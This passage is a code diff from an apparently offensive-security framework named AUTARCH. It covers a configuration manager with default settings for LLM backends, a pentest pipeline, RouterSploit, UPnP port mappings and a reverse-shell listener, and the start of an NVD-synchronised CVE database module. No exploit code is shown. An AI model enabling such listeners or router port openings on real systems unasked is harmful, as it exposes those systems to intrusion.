'save_raw_output': 'true', + }, + 'transformers': { + 'model_path': '', + 'device': 'auto', + 'torch_dtype': 'auto', + 'load_in_8bit': 'false', + 'load_in_4bit': 'false', + 'trust_remote_code': 'false', + 'max_tokens': '2048', + 'temperature': '0.7', + 'top_p': '0.9', + 'top_k': '40', + 'repetition_penalty': '1.1', + }, + 'rsf': { + 'install_path': '', + 'enabled': 'true', + 'default_target': '', + 'default_port': '80', + 'execution_timeout': '120', + }, + 'upnp': { + 'enabled': 'true', + 'internal_ip': '10.0.0.26', + 'refresh_hours': '12', + 'mappings': '443:TCP,51820:UDP,8181:TCP', + }, + 'web': { + 'host': '0.0.0.0', + 'port': '8181', + 'secret_key': '', + 'mcp_port': '8081', + }, + 'revshell': { + 'enabled': 'true', + 'host': '0.0.0.0', + 'port': '17322', + 'auto_start': 'false', + } + } + + def __init__(self, config_path: str = None): + """Initialize the configuration manager. + + Args: + config_path: Path to the configuration file. Defaults to autarch_settings.conf + in the framework directory. + """ + if config_path is None: + from core.paths import get_config_path + self.config_path = get_config_path() + else: + self.config_path = Path(config_path) + + self.config = configparser.ConfigParser() + self._load_or_create() + + def _load_or_create(self): + """Load existing config or create with defaults.""" + if self.config_path.exists(): + self.config.read(self.config_path) + self._apply_missing_defaults() + else: + self._create_default_config() + + def _apply_missing_defaults(self): + """Add any missing sections/keys from DEFAULT_CONFIG to the loaded config.""" + changed = False + for section, options in self.DEFAULT_CONFIG.items(): + if section not in self.config: + self.config[section] = options + changed = True + else: + for key, value in options.items(): + if key not in self.config[section]: + self.config[section][key] = value + changed = True + if changed: + self.save() + + def _create_default_config(self): + """Create a default configuration file.""" + for section, options in self.DEFAULT_CONFIG.items(): + self.config[section] = options + self.save() + + def save(self): + """Save the current configuration to file.""" + with open(self.config_path, 'w') as f: + self.config.write(f) + + def get(self, section: str, key: str, fallback=None): + """Get a configuration value. + + Args: + section: Configuration section name + key: Configuration key name + fallback: Default value if key doesn't exist + + Returns: + The configuration value or fallback + """ + value = self.config.get(section, key, fallback=fallback) + # Strip quotes from values (handles paths with spaces that were quoted) + if value and isinstance(value, str): + value = value.strip().strip('"').strip("'") + return value + + def get_int(self, section: str, key: str, fallback: int = 0) -> int: + """Get a configuration value as integer.""" + return self.config.getint(section, key, fallback=fallback) + + def get_float(self, section: str, key: str, fallback: float = 0.0) -> float: + """Get a configuration value as float.""" + return self.config.getfloat(section, key, fallback=fallback) + + def get_bool(self, section: str, key: str, fallback: bool = False) -> bool: + """Get a configuration value as boolean.""" + return self.config.getboolean(section, key, fallback=fallback) + + def set(self, section: str, key: str, value): + """Set a configuration value. + + Args: + section: Configuration section name + key: Configuration key name + value: Value to set + """ + if section not in self.config: + self.config[section] = {} + self.config[section][key] = str(value) + + def is_first_run(self) -> bool: + """Check if this is the first run of AUTARCH.""" + return self.get_bool('autarch', 'first_run', fallback=True) + + def mark_setup_complete(self): + """Mark the first-time setup as complete.""" + self.set('autarch', 'first_run', 'false') + self.save() + + def get_llama_settings(self) -> dict: + """Get all llama.cpp settings as a dictionary. + + Returns: + Dictionary with llama.cpp settings properly typed + """ + return { + 'model_path': self.get('llama', 'model_path', ''), + 'n_ctx': self.get_int('llama', 'n_ctx', 4096), + 'n_threads': self.get_int('llama', 'n_threads', 4), + 'n_gpu_layers': self.get_int('llama', 'n_gpu_layers', 0), + 'gpu_backend': self.get('llama', 'gpu_backend', 'cpu'), + 'temperature': self.get_float('llama', 'temperature', 0.7), + 'top_p': self.get_float('llama', 'top_p', 0.9), + 'top_k': self.get_int('llama', 'top_k', 40), + 'repeat_penalty': self.get_float('llama', 'repeat_penalty', 1.1), + 'max_tokens': self.get_int('llama', 'max_tokens', 2048), + 'seed': self.get_int('llama', 'seed', -1), + } + + def get_osint_settings(self) -> dict: + """Get all OSINT settings as a dictionary. + + Returns: + Dictionary with OSINT settings properly typed + """ + return { + 'max_threads': self.get_int('osint', 'max_threads', 8), + 'timeout': self.get_int('osint', 'timeout', 8), + 'include_nsfw': self.get_bool('osint', 'include_nsfw', False), + } + + def get_pentest_settings(self) -> dict: + """Get all pentest pipeline settings as a dictionary. + + Returns: + Dictionary with pentest settings properly typed + """ + return { + 'max_pipeline_steps': self.get_int('pentest', 'max_pipeline_steps', 50), + 'output_chunk_size': self.get_int('pentest', 'output_chunk_size', 2000), + 'auto_execute': self.get_bool('pentest', 'auto_execute', False), + 'save_raw_output': self.get_bool('pentest', 'save_raw_output', True), + } + + def get_claude_settings(self) -> dict: + """Get all Claude API settings as a dictionary. + + Returns: + Dictionary with Claude API settings properly typed + """ + return { + 'api_key': self.get('claude', 'api_key', ''), + 'model': self.get('claude', 'model', 'claude-sonnet-4-20250514'), + 'max_tokens': self.get_int('claude', 'max_tokens', 4096), + 'temperature': self.get_float('claude', 'temperature', 0.7), + } + + def get_transformers_settings(self) -> dict: + """Get all transformers/safetensors settings as a dictionary. + + Returns: + Dictionary with transformers settings properly typed + """ + return { + 'model_path': self.get('transformers', 'model_path', ''), + 'device': self.get('transformers', 'device', 'auto'), + 'torch_dtype': self.get('transformers', 'torch_dtype', 'auto'), + 'load_in_8bit': self.get_bool('transformers', 'load_in_8bit', False), + 'load_in_4bit': self.get_bool('transformers', 'load_in_4bit', False), + 'llm_int8_enable_fp32_cpu_offload': self.get_bool('transformers', 'llm_int8_enable_fp32_cpu_offload', False), + 'device_map': self.get('transformers', 'device_map', 'auto'), + 'trust_remote_code': self.get_bool('transformers', 'trust_remote_code', False), + 'max_tokens': self.get_int('transformers', 'max_tokens', 2048), + 'temperature': self.get_float('transformers', 'temperature', 0.7), + 'top_p': self.get_float('transformers', 'top_p', 0.9), + 'top_k': self.get_int('transformers', 'top_k', 40), + 'repetition_penalty': self.get_float('transformers', 'repetition_penalty', 1.1), + } + + def get_huggingface_settings(self) -> dict: + """Get all HuggingFace Inference API settings as a dictionary.""" + return { + 'api_key': self.get('huggingface', 'api_key', ''), + 'model': self.get('huggingface', 'model', 'mistralai/Mistral-7B-Instruct-v0.3'), + 'endpoint': self.get('huggingface', 'endpoint', ''), + 'provider': self.get('huggingface', 'provider', 'auto'), + 'max_tokens': self.get_int('huggingface', 'max_tokens', 1024), + 'temperature': self.get_float('huggingface', 'temperature', 0.7), + 'top_p': self.get_float('huggingface', 'top_p', 0.9), + 'top_k': self.get_int('huggingface', 'top_k', 40), + 'repetition_penalty': self.get_float('huggingface', 'repetition_penalty', 1.1), + 'do_sample': self.get_bool('huggingface', 'do_sample', True), + 'seed': self.get_int('huggingface', 'seed', -1), + 'stop_sequences': self.get('huggingface', 'stop_sequences', ''), + } + + def get_openai_settings(self) -> dict: + """Get all OpenAI API settings as a dictionary.""" + return { + 'api_key': self.get('openai', 'api_key', ''), + 'base_url': self.get('openai', 'base_url', 'https://api.openai.com/v1'), + 'model': self.get('openai', 'model', 'gpt-4o'), + 'max_tokens': self.get_int('openai', 'max_tokens', 4096), + 'temperature': self.get_float('openai', 'temperature', 0.7), + 'top_p': self.get_float('openai', 'top_p', 1.0), + 'frequency_penalty': self.get_float('openai', 'frequency_penalty', 0.0), + 'presence_penalty': self.get_float('openai', 'presence_penalty', 0.0), + } + + def get_rsf_settings(self) -> dict: + """Get all RouterSploit settings as a dictionary. + + Returns: + Dictionary with RSF settings properly typed + """ + return { + 'install_path': self.get('rsf', 'install_path', ''), + 'enabled': self.get_bool('rsf', 'enabled', True), + 'default_target': self.get('rsf', 'default_target', ''), + 'default_port': self.get('rsf', 'default_port', '80'), + 'execution_timeout': self.get_int('rsf', 'execution_timeout', 120), + } + + def get_upnp_settings(self) -> dict: + """Get all UPnP settings as a dictionary.""" + return { + 'enabled': self.get_bool('upnp', 'enabled', True), + 'internal_ip': self.get('upnp', 'internal_ip', '10.0.0.26'), + 'refresh_hours': self.get_int('upnp', 'refresh_hours', 12), + 'mappings': self.get('upnp', 'mappings', ''), + } + + def get_revshell_settings(self) -> dict: + """Get all reverse shell settings as a dictionary.""" + return { + 'enabled': self.get_bool('revshell', 'enabled', True), + 'host': self.get('revshell', 'host', '0.0.0.0'), + 'port': self.get_int('revshell', 'port', 17322), + 'auto_start': self.get_bool('revshell', 'auto_start', False), + } + + @staticmethod + def get_templates_dir() -> Path: + """Get the path to the configuration templates directory.""" + from core.paths import get_templates_dir + return get_templates_dir() + + @staticmethod + def get_custom_configs_dir() -> Path: + """Get the path to the custom user configurations directory.""" + from core.paths import get_custom_configs_dir + return get_custom_configs_dir() + + def list_hardware_templates(self) -> list: + """List available hardware configuration templates. + + Returns: + List of tuples: (template_id, display_name, description, filename) + """ + templates = [ + ('nvidia_4070_mobile', 'NVIDIA RTX 4070 Mobile', '8GB VRAM, CUDA, optimal for 7B-13B models', 'nvidia_4070_mobile.conf'), + ('amd_rx6700xt', 'AMD Radeon RX 6700 XT', '12GB VRAM, ROCm, optimal for 7B-13B models', 'amd_rx6700xt.conf'), + ('orangepi5plus_cpu', 'Orange Pi 5 Plus (CPU)', 'RK3588 ARM64, CPU-only, for quantized models', 'orangepi5plus_cpu.conf'), + ('orangepi5plus_mali', 'Orange Pi 5 Plus (Mali GPU)', 'EXPERIMENTAL - Mali-G610 OpenCL acceleration', 'orangepi5plus_mali.conf'), + ] + return templates + + def list_custom_configs(self) -> list: + """List user-saved custom configurations. + + Returns: + List of tuples: (name, filepath) + """ + custom_dir = self.get_custom_configs_dir() + configs = [] + for conf_file in custom_dir.glob('*.conf'): + name = conf_file.stem.replace('_', ' ').title() + configs.append((name, conf_file)) + return configs + + def load_template(self, template_id: str) -> bool: + """Load a hardware template into the current configuration. + + Args: + template_id: The template identifier (e.g., 'nvidia_4070_mobile') + + Returns: + True if loaded successfully, False otherwise + """ + templates = {t[0]: t[3] for t in self.list_hardware_templates()} + if template_id not in templates: + return False + + template_path = self.get_templates_dir() / templates[template_id] + if not template_path.exists(): + return False + + return self._load_llm_settings_from_file(template_path) + + def load_custom_config(self, filepath: Path) -> bool: + """Load a custom configuration file. + + Args: + filepath: Path to the custom configuration file + + Returns: + True if loaded successfully, False otherwise + """ + if not filepath.exists(): + return False + return self._load_llm_settings_from_file(filepath) + + def _load_llm_settings_from_file(self, filepath: Path) -> bool: + """Load LLM settings (llama and transformers sections) from a file. + + Preserves model_path from current config (doesn't overwrite). + + Args: + filepath: Path to the configuration file + + Returns: + True if loaded successfully, False otherwise + """ + try: + template_config = configparser.ConfigParser() + template_config.read(filepath) + + # Preserve current model paths + current_llama_path = self.get('llama', 'model_path', '') + current_transformers_path = self.get('transformers', 'model_path', '') + + # Load llama section + if 'llama' in template_config: + for key, value in template_config['llama'].items(): + if key != 'model_path': # Preserve current model path + self.set('llama', key, value) + # Restore model path + if current_llama_path: + self.set('llama', 'model_path', current_llama_path) + + # Load transformers section + if 'transformers' in template_config: + for key, value in template_config['transformers'].items(): + if key != 'model_path': # Preserve current model path + self.set('transformers', key, value) + # Restore model path + if current_transformers_path: + self.set('transformers', 'model_path', current_transformers_path) + + self.save() + return True + except Exception: + return False + + def save_custom_config(self, name: str) -> Path: + """Save current LLM settings to a custom configuration file. + + Args: + name: Name for the custom configuration (will be sanitized) + + Returns: + Path to the saved configuration file + """ + # Sanitize name for filename + safe_name = ''.join(c if c.isalnum() or c in '-_' else '_' for c in name.lower()) + safe_name = safe_name.strip('_') + if not safe_name: + safe_name = 'custom_config' + + custom_dir = self.get_custom_configs_dir() + filepath = custom_dir / f'{safe_name}.conf' + + # Create config with just LLM settings + custom_config = configparser.ConfigParser() + + # Save llama settings + custom_config['llama'] = {} + for key in self.DEFAULT_CONFIG['llama'].keys(): + value = self.get('llama', key, '') + if value: + custom_config['llama'][key] = str(value) + + # Save transformers settings + custom_config['transformers'] = {} + for key in self.DEFAULT_CONFIG['transformers'].keys(): + value = self.get('transformers', key, '') + if value: + custom_config['transformers'][key] = str(value) + + # Add header comment + with open(filepath, 'w') as f: + f.write(f'# AUTARCH Custom LLM Configuration\n') + f.write(f'# Name: {name}\n') + f.write(f'# Saved: {Path(self.config_path).name}\n') + f.write('#\n\n') + custom_config.write(f) + + return filepath + + def delete_custom_config(self, filepath: Path) -> bool: + """Delete a custom configuration file. + + Args: + filepath: Path to the custom configuration file + + Returns: + True if deleted successfully, False otherwise + """ + try: + if filepath.exists() and filepath.parent == self.get_custom_configs_dir(): + filepath.unlink() + return True + except Exception: + pass + return False + + +# Global config instance +_config = None + + +def get_config() -> Config: + """Get the global configuration instance.""" + global _config + if _config is None: + _config = Config() + return _config diff --git a/core/cve.py b/core/cve.py new file mode 100644 index 0000000..2378cf0 --- /dev/null +++ b/core/cve.py @@ -0,0 +1,869 @@ +""" +AUTARCH CVE Database Module +SQLite-based local CVE database with NVD API synchronization +https://nvd.nist.gov/developers/vulnerabilities +""" + +import os +import json +import time +import sqlite3 +import platform +import subprocess +import urllib.request +import urllib.parse +import threading +from pathlib import Path +from datetime import datetime, timedelta +from typing import Optional, List, Dict, Any, Callable + +from .banner import Colors +from .config import get_config + + +class CVEDatabase: + """SQLite-based CVE Database with NVD API synchronization.""" + + NVD_API_BASE = "https://services.nvd.nist.gov/rest/json/cves/2.0" + DB_VERSION = 1 + RESULTS_PER_PAGE = 2000 # NVD max is 2000 + + # OS to CPE mapping for common systems + OS_CPE_MAP = { + 'ubuntu': 'cpe:2.3:o:canonical:ubuntu_linux', + 'debian': 'cpe:2.3:o:debian:debian_linux', + 'fedora': 'cpe:2.3:o:fedoraproject:fedora', + 'centos': 'cpe:2.3:o:centos:centos', + 'rhel': 'cpe:2.3:o:redhat:enterprise_linux', + 'rocky': 'cpe:2.3:o:rockylinux:rocky_linux', + 'alma': 'cpe:2.3:o:almalinux:almalinux', + 'arch': 'cpe:2.3:o:archlinux:arch_linux', + 'opensuse': 'cpe:2.3:o:opensuse:opensuse', + 'suse': 'cpe:2.3:o:suse:suse_linux', + 'kali': 'cpe:2.3:o:kali:kali_linux', + 'mint': 'cpe:2.3:o:linuxmint:linux_mint', + 'windows': 'cpe:2.3:o:microsoft:windows', + 'macos': 'cpe:2.3:o:apple:macos', + 'darwin': 'cpe:2.3:o:apple:macos', + } + + # SQL Schema + SCHEMA = """ + -- CVE main table + CREATE TABLE IF NOT EXISTS cves ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + cve_id TEXT UNIQUE NOT NULL, + description TEXT, + published TEXT, + modified TEXT, + cvss_v3_score REAL, + cvss_v3_severity TEXT, + cvss_v3_vector TEXT, + cvss_v2_score REAL, + cvss_v2_severity TEXT, + cvss_v2_vector TEXT + ); + + -- CPE (affected products) table + CREATE TABLE IF NOT EXISTS cve_cpes ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + cve_id TEXT NOT NULL, + cpe_criteria TEXT NOT NULL, + vulnerable INTEGER DEFAULT 1, + version_start TEXT, + version_end TEXT, + FOREIGN KEY (cve_id) REFERENCES cves(cve_id) + ); + + -- References table + CREATE TABLE IF NOT EXISTS cve_references ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + cve_id TEXT NOT NULL, + url TEXT NOT NULL, + source TEXT, + FOREIGN KEY (cve_id) REFERENCES cves(cve_id) + ); + + -- Weaknesses (CWE) table + CREATE TABLE IF NOT EXISTS cve_weaknesses ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + cve_id TEXT NOT NULL, + cwe_id TEXT NOT NULL, + FOREIGN KEY (cve_id) REFERENCES cves(cve_id) + ); + + -- Metadata table + CREATE TABLE IF NOT EXISTS metadata ( + key TEXT PRIMARY KEY, + value TEXT + ); + + -- Indexes for fast queries + CREATE INDEX IF NOT EXISTS idx_cve_id ON cves(cve_id); + CREATE INDEX IF NOT EXISTS idx_cve_severity ON cves(cvss_v3_severity); + CREATE INDEX IF NOT EXISTS idx_cve_score ON cves(cvss_v3_score); + CREATE INDEX IF NOT EXISTS idx_cve_published ON cves(published); + CREATE INDEX IF NOT EXISTS idx_cpe_cve ON cve_cpes(cve_id); + CREATE INDEX IF NOT EXISTS idx_cpe_criteria ON cve_cpes(cpe_criteria); + CREATE INDEX IF NOT EXISTS idx_ref_cve ON cve_references(cve_id); + CREATE INDEX IF NOT EXISTS idx_weakness_cve ON cve_weaknesses(cve_id); + """ + + def __init__(self, db_path: str = None): + """Initialize CVE database. + + Args: + db_path: Path to SQLite database. Defaults to data/cve/cve.db + """ + if db_path is None: + from core.paths import get_data_dir + self.data_dir = get_data_dir() / "cve" + self.db_path = self.data_dir / "cve.db" + else: + self.db_path = Path(db_path) + self.data_dir = self.db_path.parent + + self.data_dir.mkdir(parents=True, exist_ok=True) + self.system_info = self._detect_system() + self._conn = None + self._lock = threading.Lock() + self._init_database() + + def _get_connection(self) -> sqlite3.Connection: + """Get thread-safe database connection.""" + if self._conn is None: + self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False) + self._conn.row_factory = sqlite3.Row + return self._conn + + def _init_database(self): + """Initialize database schema.""" + with self._lock: + conn = self._get_connection() + conn.executescript(self.SCHEMA) + conn.commit() + + def _detect_system(self) -> Dict[str, str]: + """Detect the current system information.""" + info = { + 'os_type': platform.system().lower(), + 'os_name': '', + 'os_version': '', + 'os_id': '', + 'kernel': platform.release(), + 'arch': platform.machine(), + 'cpe_prefix': '', + } + + if info['os_type'] == 'linux': + os_release = Path("/etc/os-release") + if os_release.exists(): + content = os_release.read_text() + for line in content.split('\n'): + if line.startswith('ID='): + info['os_id'] = line.split('=')[1].strip('"').lower() + elif line.startswith('VERSION_ID='): + info['os_version'] = line.split('=')[1].strip('"') + elif line.startswith('PRETTY_NAME='): + info['os_name'] = line.split('=', 1)[1].strip('"') + + if not info['os_id']: + if Path("/etc/debian_version").exists(): + info['os_id'] = 'debian' + elif Path("/etc/redhat-release").exists(): + info['os_id'] = 'rhel' + elif Path("/etc/arch-release").exists(): + info['os_id'] = 'arch' + + elif info['os_type'] == 'darwin': + info['os_id'] = 'macos' + try: + result = subprocess.run(['sw_vers', '-productVersion'], + capture_output=True, text=True, timeout=5) + info['os_version'] = result.stdout.strip() + except: + pass + + elif info['os_type'] == 'windows': + info['os_id'] = 'windows' + info['os_version'] = platform.version() + info['os_name'] = platform.platform() + + for os_key, cpe in self.OS_CPE_MAP.items(): + if os_key in info['os_id']: + info['cpe_prefix'] = cpe + break + + return info + + def get_system_info(self) -> Dict[str, str]: + """Get detected system information.""" + return self.system_info.copy() + + def get_db_stats(self) -> Dict[str, Any]: + """Get database statistics.""" + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + stats = { + 'db_path': str(self.db_path), + 'db_size_mb': round(self.db_path.stat().st_size / 1024 / 1024, 2) if self.db_path.exists() else 0, + 'total_cves': 0, + 'total_cpes': 0, + 'last_sync': None, + 'last_modified': None, + } + + try: + cursor.execute("SELECT COUNT(*) FROM cves") + stats['total_cves'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM cve_cpes") + stats['total_cpes'] = cursor.fetchone()[0] + + cursor.execute("SELECT value FROM metadata WHERE key = 'last_sync'") + row = cursor.fetchone() + if row: + stats['last_sync'] = row[0] + + cursor.execute("SELECT value FROM metadata WHERE key = 'last_modified'") + row = cursor.fetchone() + if row: + stats['last_modified'] = row[0] + + # Count by severity + cursor.execute(""" + SELECT cvss_v3_severity, COUNT(*) + FROM cves + WHERE cvss_v3_severity IS NOT NULL + GROUP BY cvss_v3_severity + """) + stats['by_severity'] = {row[0]: row[1] for row in cursor.fetchall()} + + except sqlite3.Error: + pass + + return stats + + # ========================================================================= + # NVD API METHODS + # ========================================================================= + + def _make_nvd_request(self, params: Dict[str, str], verbose: bool = False) -> Optional[Dict]: + """Make a request to the NVD API.""" + url = f"{self.NVD_API_BASE}?{urllib.parse.urlencode(params)}" + + if verbose: + print(f"{Colors.DIM} API: {url[:80]}...{Colors.RESET}") + + headers = { + 'User-Agent': 'AUTARCH-Security-Framework/1.0', + 'Accept': 'application/json', + } + + config = get_config() + api_key = config.get('nvd', 'api_key', fallback='') + if api_key: + headers['apiKey'] = api_key + + try: + req = urllib.request.Request(url, headers=headers) + with urllib.request.urlopen(req, timeout=60) as response: + return json.loads(response.read().decode('utf-8')) + except urllib.error.HTTPError as e: + if verbose: + print(f"{Colors.RED}[X] NVD API error: {e.code} - {e.reason}{Colors.RESET}") + return None + except urllib.error.URLError as e: + if verbose: + print(f"{Colors.RED}[X] Network error: {e.reason}{Colors.RESET}") + return None + except Exception as e: + if verbose: + print(f"{Colors.RED}[X] Request failed: {e}{Colors.RESET}") + return None + + def _parse_cve_data(self, vuln: Dict) -> Dict: + """Parse CVE data from NVD API response.""" + cve_data = vuln.get('cve', {}) + cve_id = cve_data.get('id', '') + + # Description + descriptions = cve_data.get('descriptions', []) + description = '' + for desc in descriptions: + if desc.get('lang') == 'en': + description = desc.get('value', '') + break + + # CVSS scores + metrics = cve_data.get('metrics', {}) + cvss_v3 = metrics.get('cvssMetricV31', metrics.get('cvssMetricV30', [])) + cvss_v2 = metrics.get('cvssMetricV2', []) + + cvss_v3_score = None + cvss_v3_severity = None + cvss_v3_vector = None + cvss_v2_score = None + cvss_v2_severity = None + cvss_v2_vector = None + + if cvss_v3: + cvss_data = cvss_v3[0].get('cvssData', {}) + cvss_v3_score = cvss_data.get('baseScore') + cvss_v3_severity = cvss_data.get('baseSeverity') + cvss_v3_vector = cvss_data.get('vectorString') + + if cvss_v2: + cvss_data = cvss_v2[0].get('cvssData', {}) + cvss_v2_score = cvss_data.get('baseScore') + cvss_v2_severity = cvss_v2[0].get('baseSeverity') + cvss_v2_vector = cvss_data.get('vectorString') + + # CPEs (affected products) + cpes = [] + for config in cve_data.get('configurations', []): + for node in config.get('nodes', []): + for match in node.get('cpeMatch', []): + cpes.append({ + 'criteria': match.get('criteria', ''), + 'vulnerable': match.get('vulnerable', True), + 'version_start': match.get('versionStartIncluding') or match.get('versionStartExcluding'), + 'version_end': match.get('versionEndIncluding') or match.get('versionEndExcluding'), + }) + + # References + references = [ + {'url': ref.get('url', ''), 'source': ref.get('source', '')} + for ref in cve_data.get('references', []) + ] + + # Weaknesses + weaknesses = [] + for weakness in cve_data.get('weaknesses', []): + for desc in weakness.get('description', []): + if desc.get('lang') == 'en' and desc.get('value', '').startswith('CWE-'): + weaknesses.append(desc.get('value')) + + return { + 'cve_id': cve_id, + 'description': description, + 'published': cve_data.get('published', ''), + 'modified': cve_data.get('lastModified', ''), + 'cvss_v3_score': cvss_v3_score, + 'cvss_v3_severity': cvss_v3_severity, + 'cvss_v3_vector': cvss_v3_vector, + 'cvss_v2_score': cvss_v2_score, + 'cvss_v2_severity': cvss_v2_severity, + 'cvss_v2_vector': cvss_v2_vector, + 'cpes': cpes, + 'references': references, + 'weaknesses': weaknesses, + } + + def _insert_cve(self, conn: sqlite3.Connection, cve_data: Dict): + """Insert or update a CVE in the database.""" + cursor = conn.cursor() + + # Insert/update main CVE record + cursor.execute(""" + INSERT OR REPLACE INTO cves + (cve_id, description, published, modified, + cvss_v3_score, cvss_v3_severity, cvss_v3_vector, + cvss_v2_score, cvss_v2_severity, cvss_v2_vector) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + """, ( + cve_data['cve_id'], + cve_data['description'], + cve_data['published'], + cve_data['modified'], + cve_data['cvss_v3_score'], + cve_data['cvss_v3_severity'], + cve_data['cvss_v3_vector'], + cve_data['cvss_v2_score'], + cve_data['cvss_v2_severity'], + cve_data['cvss_v2_vector'], + )) + + cve_id = cve_data['cve_id'] + + # Clear existing related data + cursor.execute("DELETE FROM cve_cpes WHERE cve_id = ?", (cve_id,)) + cursor.execute("DELETE FROM cve_references WHERE cve_id = ?", (cve_id,)) + cursor.execute("DELETE FROM cve_weaknesses WHERE cve_id = ?", (cve_id,)) + + # Insert CPEs + for cpe in cve_data['cpes']: + cursor.execute(""" + INSERT INTO cve_cpes (cve_id, cpe_criteria, vulnerable, version_start, version_end) + VALUES (?, ?, ?, ?, ?) + """, (cve_id, cpe['criteria'], 1 if cpe['vulnerable'] else 0, + cpe['version_start'], cpe['version_end'])) + + # Insert references (limit to 10) + for ref in cve_data['references'][:10]: + cursor.execute(""" + INSERT INTO cve_references (cve_id, url, source) + VALUES (?, ?, ?) + """, (cve_id, ref['url'], ref['source'])) + + # Insert weaknesses + for cwe in cve_data['weaknesses']: + cursor.execute(""" + INSERT INTO cve_weaknesses (cve_id, cwe_id) + VALUES (?, ?) + """, (cve_id, cwe)) + + # ========================================================================= + # DATABASE SYNC + # ========================================================================= + + def sync_database( + self, + days_back: int = 120, + full_sync: bool = False, + progress_callback: Callable[[str, int, int], None] = None, + verbose: bool = True + ) -> Dict[str, Any]: + """Synchronize database with NVD. + + Args: + days_back: For incremental sync, get CVEs from last N days. + full_sync: If True, download entire database (WARNING: slow, 200k+ CVEs). + progress_callback: Callback function(message, current, total). + verbose: Show progress messages. + + Returns: + Sync statistics dictionary. + """ + stats = { + 'started': datetime.now().isoformat(), + 'cves_processed': 0, + 'cves_added': 0, + 'cves_updated': 0, + 'errors': 0, + 'completed': False, + } + + if verbose: + print(f"{Colors.CYAN}[*] Starting CVE database sync...{Colors.RESET}") + + # Determine date range + if full_sync: + # Start from 1999 (first CVEs) + start_date = datetime(1999, 1, 1) + if verbose: + print(f"{Colors.YELLOW}[!] Full sync requested - this may take a while...{Colors.RESET}") + else: + start_date = datetime.utcnow() - timedelta(days=days_back) + + end_date = datetime.utcnow() + + # Calculate total CVEs to fetch (estimate) + params = { + 'pubStartDate': start_date.strftime('%Y-%m-%dT00:00:00.000'), + 'pubEndDate': end_date.strftime('%Y-%m-%dT23:59:59.999'), + 'resultsPerPage': '1', + } + + response = self._make_nvd_request(params, verbose) + if not response: + if verbose: + print(f"{Colors.RED}[X] Failed to connect to NVD API{Colors.RESET}") + return stats + + total_results = response.get('totalResults', 0) + + if verbose: + print(f"{Colors.CYAN}[*] Found {total_results:,} CVEs to process{Colors.RESET}") + + if total_results == 0: + stats['completed'] = True + return stats + + # Process in batches + start_index = 0 + batch_num = 0 + total_batches = (total_results + self.RESULTS_PER_PAGE - 1) // self.RESULTS_PER_PAGE + + with self._lock: + conn = self._get_connection() + + while start_index < total_results: + batch_num += 1 + + if verbose: + pct = int((start_index / total_results) * 100) + print(f"{Colors.CYAN}[*] Batch {batch_num}/{total_batches} ({pct}%) - {start_index:,}/{total_results:,}{Colors.RESET}") + + if progress_callback: + progress_callback(f"Downloading batch {batch_num}/{total_batches}", start_index, total_results) + + params = { + 'pubStartDate': start_date.strftime('%Y-%m-%dT00:00:00.000'), + 'pubEndDate': end_date.strftime('%Y-%m-%dT23:59:59.999'), + 'resultsPerPage': str(self.RESULTS_PER_PAGE), + 'startIndex': str(start_index), + } + + response = self._make_nvd_request(params, verbose=False) + + if not response: + stats['errors'] += 1 + if verbose: + print(f"{Colors.YELLOW}[!] Batch {batch_num} failed, retrying...{Colors.RESET}") + time.sleep(6) # NVD rate limit + continue + + vulnerabilities = response.get('vulnerabilities', []) + + for vuln in vulnerabilities: + try: + cve_data = self._parse_cve_data(vuln) + self._insert_cve(conn, cve_data) + stats['cves_processed'] += 1 + stats['cves_added'] += 1 + except Exception as e: + stats['errors'] += 1 + if verbose: + print(f"{Colors.RED}[X] Error processing CVE: {e}{Colors.RESET}") + + conn.commit() + start_index += self.RESULTS_PER_PAGE + + # Rate limiting - NVD allows 5 requests per 30 seconds without API key + config = get_config() + if not config.get('nvd', 'api_key', fallback=''): + time.sleep(6) + else: + time.sleep(0.6) # With API key: 50 requests per 30 seconds + + # Update metadata + conn.execute(""" + INSERT OR REPLACE INTO metadata (key, value) VALUES ('last_sync', ?) + """, (datetime.now().isoformat(),)) + conn.execute(""" + INSERT OR REPLACE INTO metadata (key, value) VALUES ('last_modified', ?) + """, (end_date.isoformat(),)) + conn.commit() + + stats['completed'] = True + stats['finished'] = datetime.now().isoformat() + + if verbose: + print(f"{Colors.GREEN}[+] Sync complete: {stats['cves_processed']:,} CVEs processed{Colors.RESET}") + + return stats + + def sync_recent(self, days: int = 7, verbose: bool = True) -> Dict[str, Any]: + """Quick sync of recent CVEs only.""" + return self.sync_database(days_back=days, full_sync=False, verbose=verbose) + + # ========================================================================= + # QUERY METHODS + # ========================================================================= + + def search_cves( + self, + keyword: str = None, + cpe_pattern: str = None, + severity: str = None, + min_score: float = None, + max_results: int = 100, + days_back: int = None + ) -> List[Dict]: + """Search CVEs in local database. + + Args: + keyword: Search in CVE ID or description. + cpe_pattern: CPE pattern to match (uses LIKE). + severity: Filter by severity (LOW, MEDIUM, HIGH, CRITICAL). + min_score: Minimum CVSS v3 score. + max_results: Maximum results to return. + days_back: Only return CVEs from last N days. + + Returns: + List of matching CVE dictionaries. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + query = "SELECT DISTINCT c.* FROM cves c" + conditions = [] + params = [] + + if cpe_pattern: + query += " LEFT JOIN cve_cpes cp ON c.cve_id = cp.cve_id" + conditions.append("cp.cpe_criteria LIKE ?") + params.append(f"%{cpe_pattern}%") + + if keyword: + conditions.append("(c.cve_id LIKE ? OR c.description LIKE ?)") + params.extend([f"%{keyword}%", f"%{keyword}%"]) + + if severity: + conditions.append("c.cvss_v3_severity = ?") + params.append(severity.upper()) + + if min_score is not None: + conditions.append("c.cvss_v3_score >= ?") + params.append(min_score) + + if days_back: + cutoff = (datetime.utcnow() - timedelta(days=days_back)).strftime('%Y-%m-%d') + conditions.append("c.published >= ?") + params.append(cutoff) + + if conditions: + query += " WHERE " + " AND ".join(conditions) + + query += " ORDER BY c.cvss_v3_score DESC NULLS LAST, c.published DESC" + query += f" LIMIT {max_results}" + + cursor.execute(query, params) + rows = cursor.fetchall() + + return [self._row_to_dict(row) for row in rows] + + def get_cve(self, cve_id: str) -> Optional[Dict]: + """Get detailed information about a specific CVE. + + Args: + cve_id: The CVE ID (e.g., 